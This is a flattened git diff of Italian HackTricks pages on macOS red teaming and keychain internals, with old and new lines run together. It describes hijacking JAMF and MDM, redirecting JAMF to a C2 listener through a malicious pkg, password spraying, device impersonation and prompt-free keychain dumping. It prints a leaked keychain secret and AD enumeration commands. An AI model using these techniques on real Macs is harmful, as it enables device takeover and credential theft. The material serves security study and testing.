* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repositori di github [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Red Teaming su macOS # Red Teaming su macOS
{% hint style="success" %}
Impara e pratica l'hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team di HackTricks su AWS)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Abuso di MDM ## Abuso di MDM
@ -35,7 +36,7 @@ Per eseguire il proprio MDM è necessario **avere il tuo CSR firmato da un forni
Tuttavia, per installare un'applicazione in un dispositivo registrato, è comunque necessario che sia firmata da un account sviluppatore... tuttavia, al momento dell'iscrizione al MDM il **dispositivo aggiunge il certificato SSL del MDM come CA attendibile**, quindi ora puoi firmare qualsiasi cosa. Tuttavia, per installare un'applicazione in un dispositivo registrato, è comunque necessario che sia firmata da un account sviluppatore... tuttavia, al momento dell'iscrizione al MDM il **dispositivo aggiunge il certificato SSL del MDM come CA attendibile**, quindi ora puoi firmare qualsiasi cosa.
Per iscrivere il dispositivo in un MDM, è necessario installare un file **`mobileconfig`** come root, che potrebbe essere consegnato tramite un file **pkg** (potresti comprimerlo in zip e quando scaricato da safari verrà decompresso). Per iscrivere il dispositivo in un MDM, è necessario installare un file **`mobileconfig`** come root, che potrebbe essere consegnato tramite un file **pkg** (potresti comprimerlo in zip e quando scaricato da Safari verrà decompresso).
**L'agente Mythic Orthrus** utilizza questa tecnica. **L'agente Mythic Orthrus** utilizza questa tecnica.
@ -49,7 +50,7 @@ Vai su una pagina come `https://<nome-azienda>.jamfcloud.com/enroll/` per vedere
Potresti utilizzare lo script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) per eseguire un attacco di password spraying. Potresti utilizzare lo script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) per eseguire un attacco di password spraying.
Inoltre, dopo aver trovato le credenziali corrette potresti essere in grado di forzare altre username con il modulo successivo: Inoltre, dopo aver trovato le credenziali corrette potresti essere in grado di eseguire un attacco di forza bruta su altri nomi utente con il modulo successivo:
![](<../../.gitbook/assets/image (107).png>) ![](<../../.gitbook/assets/image (107).png>)
@ -58,7 +59,7 @@ Inoltre, dopo aver trovato le credenziali corrette potresti essere in grado di f
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
Il binario **`jamf`** conteneva il segreto per aprire il portachiavi che al momento della scoperta era **condiviso** tra tutti ed era: **`jk23ucnq91jfu9aj`**.\ Il binario **`jamf`** conteneva il segreto per aprire il portachiavi che al momento della scoperta era **condiviso** tra tutti ed era: **`jk23ucnq91jfu9aj`**.\
Inoltre, jamf **persiste** come **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`** Inoltre, jamf **persiste** come un **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### Assunzione del controllo del dispositivo JAMF #### Assunzione del controllo del dispositivo JAMF
@ -80,9 +81,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
``` ```
{% endcode %} {% endcode %}
Quindi, un attaccante potrebbe rilasciare un pacchetto dannoso (`pkg`) che **sovrascrive questo file** durante l'installazione impostando l'**URL su un listener Mythic C2 da un agente Typhon** per poter abusare di JAMF come C2. Quindi, un attaccante potrebbe rilasciare un pacchetto dannoso (`pkg`) che **sovrascrive questo file** durante l'installazione impostando l'**URL su un listener Mythic C2 da un agente Typhon** per poter abusare di JAMF come C2.
{% code overflow="wrap" %}
```bash ```bash
# After changing the URL you could wait for it to be reloaded or execute: # After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0 sudo jamf policy -id 0
@ -91,14 +90,14 @@ sudo jamf policy -id 0
``` ```
{% endcode %} {% endcode %}
#### Impersonificazione JAMF #### Impersonazione JAMF
Per **impersonare la comunicazione** tra un dispositivo e JMF hai bisogno di: Per **impersonare la comunicazione** tra un dispositivo e JMF hai bisogno di:
* L'**UUID** del dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` * L'**UUID** del dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* Il **portachiavi JAMF** da: `/Library/Application\ Support/Jamf/JAMF.keychain` che contiene il certificato del dispositivo * Il **portachiavi JAMF** da: `/Library/Application\ Support/Jamf/JAMF.keychain` che contiene il certificato del dispositivo
Con queste informazioni, **crea una VM** con l'**UUID dell'hardware rubato** e con **SIP disabilitato**, rilascia il **portachiavi JAMF**, **intercetta** l'**agente Jamf** e ruba le sue informazioni. Con queste informazioni, **crea una VM** con l'**UUID hardware rubato** e con **SIP disabilitato**, rilascia il **portachiavi JAMF**, **intercetta** l'**agente Jamf** e ruba le sue informazioni.
#### Furto di segreti #### Furto di segreti
@ -141,7 +140,7 @@ dscl "/Active Directory/[Domain]/All Domains" ls /
Inoltre ci sono alcuni strumenti preparati per MacOS per enumerare automaticamente l'AD e interagire con kerberos: Inoltre ci sono alcuni strumenti preparati per MacOS per enumerare automaticamente l'AD e interagire con kerberos:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound è un'estensione dello strumento di audit Bloodhound che consente di raccogliere e inglobare le relazioni dell'Active Directory su host MacOS. * [**Machound**](https://github.com/XMCyber/MacHound): MacHound è un'estensione dello strumento di audit Bloodhound che consente di raccogliere e inglobare le relazioni dell'Active Directory su host MacOS.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost è un progetto Objective-C progettato per interagire con le API Heimdal krb5 su macOS. L'obiettivo del progetto è consentire una migliore verifica della sicurezza attorno a Kerberos su dispositivi macOS utilizzando API native senza richiedere altri framework o pacchetti nel target. * [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost è un progetto Objective-C progettato per interagire con le API Heimdal krb5 su macOS. L'obiettivo del progetto è consentire una migliore sicurezza nei test attorno a Kerberos sui dispositivi macOS utilizzando API native senza richiedere altri framework o pacchetti nel target.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Strumento JavaScript for Automation (JXA) per enumerare l'Active Directory. * [**Orchard**](https://github.com/its-a-feature/Orchard): Strumento JavaScript for Automation (JXA) per enumerare l'Active Directory.
```bash ```bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil echo show com.apple.opendirectoryd.ActiveDirectory | scutil
@ -183,11 +182,11 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"
#Domain Information #Domain Information
dsconfigad -show dsconfigad -show
``` ```
Ulteriori informazioni in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) Ulteriori informazioni su [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
## Accesso al portachiavi ## Accesso al portachiavi
Il portachiavi contiene molto probabilmente informazioni sensibili che, se accessate senza generare una richiesta, potrebbero aiutare a far progredire un esercizio di red team: È molto probabile che il portachiavi contenga informazioni sensibili che, se accessate senza generare una richiesta, potrebbero aiutare a far progredire un esercizio di red team:
{% content-ref url="macos-keychain.md" %} {% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md) [macos-keychain.md](macos-keychain.md)
@ -212,3 +211,18 @@ Quando un file viene scaricato in Safari, se è un file "sicuro", verrà **apert
* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0) * [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
* [**Vieni sul Lato Oscuro, Abbiamo le Mele: Rendere Malvagia la Gestione di macOS**](https://www.youtube.com/watch?v=pOQOh07eMxY) * [**Vieni sul Lato Oscuro, Abbiamo le Mele: Rendere Malvagia la Gestione di macOS**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "Una Prospettiva degli Attaccanti sulle Configurazioni di Jamf" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA) * [**OBTS v3.0: "Una Prospettiva degli Attaccanti sulle Configurazioni di Jamf" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Portachiavi macOS # Portachiavi di macOS
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
@ -20,7 +21,7 @@ Altri modi per supportare HackTricks:
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**. [**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
Il loro obiettivo principale è combattere le violazioni degli account e gli attacchi ransomware derivanti da malware che ruba informazioni. Il loro obiettivo principale è contrastare le violazioni degli account e gli attacchi ransomware derivanti da malware che ruba informazioni.
Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su: Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
@ -30,12 +31,12 @@ Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
## Principali Portachiavi ## Principali Portachiavi
* Il **Portachiavi Utente** (`~/Library/Keychains/login.keycahin-db`), che viene utilizzato per memorizzare **credenziali specifiche dell'utente** come password delle applicazioni, password Internet, certificati generati dall'utente, password di rete e chiavi pubbliche/private generate dall'utente. * Il **Portachiavi Utente** (`~/Library/Keychains/login.keycahin-db`), che viene utilizzato per memorizzare **credenziali specifiche dell'utente** come password delle applicazioni, password Internet, certificati generati dall'utente, password di rete e chiavi pubbliche/ private generate dall'utente.
* Il **Portachiavi di Sistema** (`/Library/Keychains/System.keychain`), che memorizza **credenziali a livello di sistema** come password WiFi, certificati radice di sistema, chiavi private di sistema e password delle applicazioni di sistema. * Il **Portachiavi di Sistema** (`/Library/Keychains/System.keychain`), che memorizza **credenziali a livello di sistema** come password WiFi, certificati radice di sistema, chiavi private di sistema e password delle applicazioni di sistema.
### Accesso al Portachiavi delle Password ### Accesso al Portachiavi delle Password
Questi file, sebbene non abbiano protezione intrinseca e possano essere **scaricati**, sono crittografati e richiedono la **password in chiaro dell'utente per essere decifrati**. Uno strumento come [**Chainbreaker**](https://github.com/n0fate/chainbreaker) potrebbe essere utilizzato per la decrittazione. Questi file, sebbene non abbiano una protezione intrinseca e possano essere **scaricati**, sono crittografati e richiedono la **password in chiaro dell'utente per essere decifrati**. Uno strumento come [**Chainbreaker**](https://github.com/n0fate/chainbreaker) potrebbe essere utilizzato per la decrittazione.
## Protezioni delle Voci del Portachiavi ## Protezioni delle Voci del Portachiavi
@ -43,11 +44,11 @@ Questi file, sebbene non abbiano protezione intrinseca e possano essere **scaric
Ogni voce nel portachiavi è regolata da **Liste di Controllo degli Accessi (ACL)** che indicano chi può eseguire varie azioni sulla voce del portachiavi, tra cui: Ogni voce nel portachiavi è regolata da **Liste di Controllo degli Accessi (ACL)** che indicano chi può eseguire varie azioni sulla voce del portachiavi, tra cui:
* **ACLAuhtorizationExportClear**: Consente al titolare di ottenere il testo in chiaro del segreto. * **ACLAuhtorizationExportClear**: Consente al detentore di ottenere il testo in chiaro del segreto.
* **ACLAuhtorizationExportWrapped**: Consente al titolare di ottenere il testo in chiaro criptato con un'altra password fornita. * **ACLAuhtorizationExportWrapped**: Consente al detentore di ottenere il testo in chiaro criptato con un'altra password fornita.
* **ACLAuhtorizationAny**: Consente al titolare di eseguire qualsiasi azione. * **ACLAuhtorizationAny**: Consente al detentore di eseguire qualsiasi azione.
Le ACL sono ulteriormente accompagnate da un **elenco di applicazioni attendibili** che possono eseguire queste azioni senza richiesta. Questo potrebbe essere: Le ACL sono accompagnate da un **elenco di applicazioni attendibili** che possono eseguire queste azioni senza richiesta. Questo potrebbe essere:
* **N`il`** (nessuna autorizzazione richiesta, **tutti sono attendibili**) * **N`il`** (nessuna autorizzazione richiesta, **tutti sono attendibili**)
* Un **elenco vuoto** (nessuno è attendibile) * Un **elenco vuoto** (nessuno è attendibile)
@ -55,9 +56,9 @@ Le ACL sono ulteriormente accompagnate da un **elenco di applicazioni attendibil
Inoltre, la voce potrebbe contenere la chiave **`ACLAuthorizationPartitionID`,** che viene utilizzata per identificare il **teamid, apple,** e **cdhash.** Inoltre, la voce potrebbe contenere la chiave **`ACLAuthorizationPartitionID`,** che viene utilizzata per identificare il **teamid, apple,** e **cdhash.**
* Se il **teamid** è specificato, allora per **accedere al valore della voce** senza un **prompt** l'applicazione utilizzata deve avere lo **stesso teamid**. * Se viene specificato il **teamid**, allora per **accedere al valore della voce** senza una **richiesta** l'applicazione utilizzata deve avere lo **stesso teamid**.
* Se l'**apple** è specificato, allora l'app deve essere **firmata** da **Apple**. * Se viene specificato il **apple**, allora l'app deve essere **firmata** da **Apple**.
* Se il **cdhash** è indicato, allora l'app deve avere il **cdhash** specifico. * Se viene indicato il **cdhash**, allora l'app deve avere il cdhash specifico.
### Creazione di una Voce nel Portachiavi ### Creazione di una Voce nel Portachiavi
@ -72,7 +73,7 @@ Quando viene creata una **nuova** **voce** utilizzando **`Keychain Access.app`**
Quando un'applicazione crea una voce nel portachiavi, le regole sono leggermente diverse: Quando un'applicazione crea una voce nel portachiavi, le regole sono leggermente diverse:
* Tutte le app possono crittografare. * Tutte le app possono crittografare.
* Solo l'applicazione che crea (o qualsiasi altra app esplicitamente aggiunta) può esportare/decrittografare (senza richiedere all'utente). * Solo l'applicazione che crea (o altre app esplicitamente aggiunte) può esportare/decrittografare (senza richiedere all'utente).
* Tutte le app possono vedere il controllo di integrità. * Tutte le app possono vedere il controllo di integrità.
* Nessuna app può modificare le ACL. * Nessuna app può modificare le ACL.
* Il **partitionID** è impostato su **`teamid:[teamID qui]`**. * Il **partitionID** è impostato su **`teamid:[teamID qui]`**.
@ -93,13 +94,13 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
### API ### API
{% hint style="success" %} {% hint style="success" %}
L'**enumerazione e il dumping del portachiavi** dei segreti che **non genereranno un prompt** possono essere fatti con lo strumento [**LockSmith**](https://github.com/its-a-feature/LockSmith) L'**enumerazione e il dump del portachiavi** dei segreti che **non genereranno un prompt** possono essere fatti con lo strumento [**LockSmith**](https://github.com/its-a-feature/LockSmith)
{% endhint %} {% endhint %}
Elenca e ottieni **informazioni** su ciascuna voce del portachiavi: Elenca e ottieni **informazioni** su ciascuna voce del portachiavi:
* L'API **`SecItemCopyMatching`** fornisce informazioni su ciascuna voce e ci sono alcuni attributi che è possibile impostare quando la si utilizza: * L'API **`SecItemCopyMatching`** fornisce informazioni su ciascuna voce e ci sono alcuni attributi che è possibile impostare quando la si utilizza:
* **`kSecReturnData`**: Se è vero, cercherà di decifrare i dati (impostare su falso per evitare potenziali popup) * **`kSecReturnData`**: Se vero, cercherà di decifrare i dati (impostare su falso per evitare potenziali popup)
* **`kSecReturnRef`**: Ottieni anche il riferimento all'elemento del portachiavi (impostare su vero nel caso in cui successivamente si possa decifrare senza popup) * **`kSecReturnRef`**: Ottieni anche il riferimento all'elemento del portachiavi (impostare su vero nel caso in cui successivamente si possa decifrare senza popup)
* **`kSecReturnAttributes`**: Ottieni metadati sulle voci * **`kSecReturnAttributes`**: Ottieni metadati sulle voci
* **`kSecMatchLimit`**: Quanti risultati restituire * **`kSecMatchLimit`**: Quanti risultati restituire
@ -107,7 +108,7 @@ Elenca e ottieni **informazioni** su ciascuna voce del portachiavi:
Ottieni **ACL** di ciascuna voce: Ottieni **ACL** di ciascuna voce:
* Con l'API **`SecAccessCopyACLList`** è possibile ottenere l'**ACL per l'elemento del portachiavi**, e restituirà un elenco di ACL (come `ACLAuhtorizationExportClear` e gli altri precedentemente menzionati) dove ciascun elenco ha: * Con l'API **`SecAccessCopyACLList`** puoi ottenere l'**ACL per l'elemento del portachiavi**, e restituirà un elenco di ACL (come `ACLAuhtorizationExportClear` e gli altri precedentemente menzionati) dove ciascun elenco ha:
* Descrizione * Descrizione
* **Elenco delle applicazioni attendibili**. Questo potrebbe essere: * **Elenco delle applicazioni attendibili**. Questo potrebbe essere:
* Un'applicazione: /Applications/Slack.app * Un'applicazione: /Applications/Slack.app
@ -124,7 +125,7 @@ E questi sono i **requisiti** per poter **esportare un segreto senza un prompt**
* Se sono elencate **1 o più app attendibili**: * Se sono elencate **1 o più app attendibili**:
* È necessario avere le appropriate **autorizzazioni** (**`Nil`**, o far **parte** dell'elenco consentito di app nell'autorizzazione per accedere alle informazioni segrete) * È necessario avere le appropriate **autorizzazioni** (**`Nil`**, o far **parte** dell'elenco consentito di app nell'autorizzazione per accedere alle informazioni segrete)
* È necessario che la firma del codice corrisponda a **PartitionID** * È necessario che la firma del codice corrisponda a **PartitionID**
* È necessario che la firma del codice corrisponda a quella di un'app **attendibile** (o far parte del giusto KeychainAccessGroup) * È necessario che la firma del codice corrisponda a quella di una **app attendibile** (o essere un membro del giusto KeychainAccessGroup)
* Se **tutte le applicazioni sono attendibili**: * Se **tutte le applicazioni sono attendibili**:
* È necessario avere le appropriate **autorizzazioni** * È necessario avere le appropriate **autorizzazioni**
* È necessario che la firma del codice corrisponda a **PartitionID** * È necessario che la firma del codice corrisponda a **PartitionID**
@ -133,14 +134,14 @@ E questi sono i **requisiti** per poter **esportare un segreto senza un prompt**
{% hint style="danger" %} {% hint style="danger" %}
Pertanto, se è elencata **1 applicazione**, è necessario **iniettare codice in quell'applicazione**. Pertanto, se è elencata **1 applicazione**, è necessario **iniettare codice in quell'applicazione**.
Se **apple** è indicato in **partitionID**, potresti accedervi con **`osascript`** quindi a tutto ciò che si fida di tutte le applicazioni con apple nel partitionID. **`Python`** potrebbe anche essere utilizzato per questo. Se **apple** è indicato in **partitionID**, potresti accedervi con **`osascript`** quindi qualsiasi cosa che si fidi di tutte le applicazioni con apple nel partitionID. **`Python`** potrebbe anche essere utilizzato per questo.
{% endhint %} {% endhint %}
### Due attributi aggiuntivi ### Due attributi aggiuntivi
* **Invisibile**: È un flag booleano per **nascondere** la voce dall'app **UI** del portachiavi * **Invisibile**: È un flag booleano per **nascondere** la voce dall'app **UI** del portachiavi
* **Generale**: Serve per memorizzare **metadati** (quindi NON È CIFRATO) * **Generale**: Serve per memorizzare **metadati** (quindi NON È CIFRATO)
* Microsoft stava memorizzando in testo normale tutti i token di aggiornamento per accedere ai punti di accesso sensibili. * Microsoft memorizzava in testo normale tutti i token di aggiornamento per accedere ai punti di accesso sensibili.
## Riferimenti ## Riferimenti
@ -152,22 +153,23 @@ Se **apple** è indicato in **partitionID**, potresti accedervi con **`osascript
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**. [**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
Il loro obiettivo principale è contrastare le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni. Il loro obiettivo principale è combattere le violazioni di account e gli attacchi ransomware derivanti da malware che ruba informazioni.
Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su: Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Impara e pratica l'hacking di AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking di GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# macOS MDM # macOS MDM
{% hint style="success" %}
Impara e pratica l'hacking di AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking di GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team di HackTricks AWS)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
